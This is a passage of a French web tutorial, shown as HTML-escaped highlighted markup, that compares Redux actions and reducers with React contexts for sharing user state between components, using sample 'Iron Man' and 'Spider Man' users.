&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;UserBody&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;addOneYear&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="o"&gt;&amp;lt;&amp;gt;&lt;/span&gt;
      &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;p&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="nx"&gt;Ce&lt;/span&gt; &lt;span class="nx"&gt;personnage&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;age&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="nx"&gt;ans&lt;/span&gt; &lt;span class="o"&gt;!&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/p&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;
      &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;button&lt;/span&gt; &lt;span class="nx"&gt;onClick&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;addOneYear&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;)}&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
        &lt;span class="nx"&gt;Augmenter&lt;/span&gt; &lt;span class="nx"&gt;son&lt;/span&gt; &lt;span class="nx"&gt;age&lt;/span&gt; &lt;span class="nx"&gt;d&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;un an
      &amp;lt;/button&amp;gt;
    &amp;lt;/&amp;gt;
  );
}

function mapDispatchToProps(dispatch) {
  return {
    addOneYear: (user) =&amp;gt; dispatch(addOneYear(user)),
  };
}

export default connect(undefined, mapDispatchToProps)(UserBody);
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Comme vous pouvez le voir, nous retrouvons bien notre fonction &lt;code&gt;addOneYear&lt;/code&gt;. Cependant cette fonction est un peu différente de ce que nous avions plus tôt. Dans ce cas elle permet de dispatcher une action Redux qui pourra ensuite être comprise par un (ou plusieurs) de vos reducers. Quand, dans mon événement, je vais appeler la fonction &lt;code&gt;addOneYear&lt;/code&gt;, je vais devoir lui passer mon utilisateur, ensuite cette fonction "dispatch" dans redux le résultat renvoyé par notre action. Voyons voir ce qu'elle contient.&lt;/p&gt;

&lt;h4&gt;
  
  
  addOneYear.js
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// reducers/users/addOneYear.js&lt;/span&gt;
&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;addOneYear&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;ADD_ONE_YEAR_TO_USER&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="na"&gt;age&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;age&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;default&lt;/span&gt; &lt;span class="nx"&gt;addOneYear&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;La fonction est très simple, elle renvoie un objet avec les deux clés &lt;code&gt;type&lt;/code&gt; et &lt;code&gt;payload&lt;/code&gt; (c'est une convention, rien d'obligatoire). Vous l'aurez noté, il y a, à un moment, un matching qui se fait entre le type renvoyé dans nos actions et celui utilisé dans nos reducers (&lt;code&gt;ADD_ONE_YEAR_TO_USER&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;Le but de cette petite démonstration est de vous montrer sur un exemple simple comment intégrer Redux. Le concept d'actions, de reducers, de store etc... peuvent sembler compliqués, mais quand on a l'habitude c'est vraiment un plaisir de développer avec cette librairie.&lt;/p&gt;

&lt;p&gt;Un composant qui a besoin d'une information disponible dans le store ? Connectez (avec la fonction &lt;code&gt;connect&lt;/code&gt; de react-redux) votre composant à Redux et il y aura accès. De même, un composant à besoin de muter votre state ? Connectez-le à Redux et vous aurez accès à la fonction &lt;code&gt;dispatch&lt;/code&gt; de Redux. Plus besoin de passer vos données et mutateurs dans l'ensemble de l'arbre de composants.&lt;/p&gt;

&lt;p&gt;Le code ci-dessus n'est qu'à titre d'exemple. Dans une application conséquente une architecture propre et scalable est nécessaire ! Si Redux vous intéresse je vous propose de regarder le &lt;a href="https://www.freecodecamp.org/news/scaling-your-redux-app-with-ducks-6115955638be/"&gt;pattern Ducks&lt;/a&gt;. Je l'utilise beaucoup et son design rendra votre code propre et maintenable sur la partie Redux.&lt;/p&gt;

&lt;h2&gt;
  
  
  ... et avec les contextes ?
&lt;/h2&gt;

&lt;p&gt;Bon, on a vu deux techniques : le state local et Redux. Les deux sont intéressantes. Qu'en est-il des contextes ?&lt;/p&gt;

&lt;p&gt;Les contextes sont là pour abonner vos composants à une valeur. L'exemple classique, qui est également donné dans la documentation officielle de React, est la gestion du thème de votre application. Admettons que vous ayez un design "light" et un design "dark" pour votre application. Une méthode couramment utilisée est de se servir des contextes pour passer la valeur "light" ou "dark" aux composants qui en ont besoin. Bien sûr il est possible de gérer ça à l'aide de Redux, mais c'est beaucoup d'efforts pour au final quelque chose de très simple.&lt;/p&gt;

&lt;p&gt;Traduisons nos exemples précédents en utilisant les contextes. Nous n'avons rien besoin d'installer de particulier, les contextes font partie intégrante du core de React.&lt;/p&gt;

&lt;h4&gt;
  
  
  App.js
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// App.js&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;React&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;useState&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;react&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;Users&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;./components/users/Users.js&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;UserContext&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;defaultValue&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;./contexts/UserContext.js&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;App&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;UserContext&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Provider&lt;/span&gt; &lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;defaultValue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;useState&lt;/span&gt;&lt;span class="p"&gt;())}&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;Users&lt;/span&gt; &lt;span class="o"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/UserContext.Provider&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;  &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;default&lt;/span&gt; &lt;span class="nx"&gt;App&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Dans cet exemple, j'utilise un contexte nommé &lt;code&gt;UserContext&lt;/code&gt;, défini dans un autre fichier, voyons cela.&lt;/p&gt;

&lt;h4&gt;
  
  
  UserContext.js
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// contexts/UserContext.js&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;React&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;react&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;initialUsers&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
  &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;fullName&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Iron Man&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;age&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;

  &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;fullName&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Spider Man&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;age&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;UserContext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;React&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;createContext&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;defaultValue&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="nx"&gt;users&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;initialUsers&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;setUsers&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;users&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;addOneYear&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="nx"&gt;users&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;forEach&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;u&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;u&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
          &lt;span class="nx"&gt;u&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;age&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
      &lt;span class="p"&gt;});&lt;/span&gt;

      &lt;span class="nx"&gt;setUsers&lt;/span&gt;&lt;span class="p"&gt;([...&lt;/span&gt;&lt;span class="nx"&gt;users&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;default&lt;/span&gt; &lt;span class="nx"&gt;UserContext&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Rien de bien compliqué. J'utilise la fonction &lt;code&gt;createContext&lt;/code&gt; de React pour initialiser un nouveau contexte. Notez la fonction &lt;code&gt;defaultValue&lt;/code&gt;. Au vu des paramètres (déstructurés) que je lui passe, ça vous parle ? En effet ça va être le résultat d'un hook (&lt;code&gt;useState&lt;/code&gt; en l'occurrence) qui me permettra de muter mon contexte depuis n'importe où dans mon application.&lt;/p&gt;

&lt;p&gt;Voyons les autres composants que vous connaissez bien désormais.&lt;/p&gt;

&lt;h4&gt;
  
  
  Users.js
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// components/users/Users.js&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;React&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;react&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;User&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;./User.js&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;UserContext&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;../../contexts/UserContext.js&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;Users&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;UserContext&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Consumer&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;users&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;users&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
          &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;

        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;Object&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;values&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;users&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
          &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;User&lt;/span&gt; &lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="sr"&gt;/&amp;gt;&lt;/span&gt;&lt;span class="err"&gt;;
&lt;/span&gt;        &lt;span class="p"&gt;});&lt;/span&gt;
      &lt;span class="p"&gt;}}&lt;/span&gt;
    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/UserContext.Consumer&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;  &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;default&lt;/span&gt; &lt;span class="nx"&gt;Users&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ce composant va être abonné aux changements du contexte. Comme vous pouvez le voir, j'extrais les utilisateurs du contexte. En effet mon contexte contient la valeur (&lt;code&gt;users&lt;/code&gt;) et les mutateurs (&lt;code&gt;addOneYear&lt;/code&gt;).&lt;/p&gt;

&lt;h4&gt;
  
  
  User.js
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// components/users/User.js&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;React&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;react&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;UserBody&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;./UserBody&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;User&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;div&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;h1&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;fullName&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/h1&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;
      &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;UserBody&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="sr"&gt;/&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/div&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;  &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;default&lt;/span&gt; &lt;span class="nx"&gt;User&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Rien ne change ici !&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// components/users/UserBody.js&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;React&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;react&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;UserContext&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;../../contexts/UserContext.js&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;UserBody&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;UserContext&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Consumer&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;addOneYear&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
          &lt;span class="o"&gt;&amp;lt;&amp;gt;&lt;/span&gt;
            &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;p&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="nx"&gt;Ce&lt;/span&gt; &lt;span class="nx"&gt;personnage&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;age&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="nx"&gt;ans&lt;/span&gt; &lt;span class="o"&gt;!&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/p&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;            &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;button&lt;/span&gt; &lt;span class="nx"&gt;onClick&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;addOneYear&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;)}&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
